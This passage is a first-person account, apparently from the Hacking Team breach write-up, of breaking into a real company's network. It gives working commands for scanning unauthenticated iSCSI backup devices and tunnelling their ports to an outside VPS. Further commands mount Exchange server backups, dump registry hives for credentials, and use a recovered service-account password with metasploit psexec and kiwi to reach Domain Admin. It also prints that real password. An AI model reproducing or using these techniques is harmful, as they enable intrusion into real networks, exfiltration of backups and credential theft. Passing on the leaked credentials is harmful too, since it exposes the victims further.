Although it was fun to listen to recordings and see webcam images of Hacking
Team developing their malware, it wasn't very useful. Their insecure backups
were the vulnerability that opened their doors. According to their
documentation [1], their iSCSI devices were supposed to be on a separate
network, but nmap found a few in their subnetwork 192.168.1.200/24:
Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication required
Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required
iSCSI needs a kernel module, and it would've been difficult to compile it for
the embedded system. I forwarded the port so that I could mount it from a VPS:
VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1
The way I solved it was:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
And now, after:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
and find backups of various virtual machines. The Exchange server seemed like
the most interesting. It was too big too download, but it was possible to
mount it remotely to look for interesting files:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
...and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1

--[ 10 - From backups to domain admin ]-----------------------------------------
What interested me most in the backup was seeing if it had a password or hash
that could be used to access the live server. I used pwdump, cachedump, and
lsadump [1] on the registry hives. lsadump found the password to the besadmin
service account:
_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!...........
I used proxychains [2] with the socks server on the embedded device and
smbclient [3] to check the password:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
It worked! The password for besadmin was still valid, and a local admin. I
used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
got a bunch of passwords, including the Domain Admin:
HACKINGTEAM BESAdmin bes32678!!!
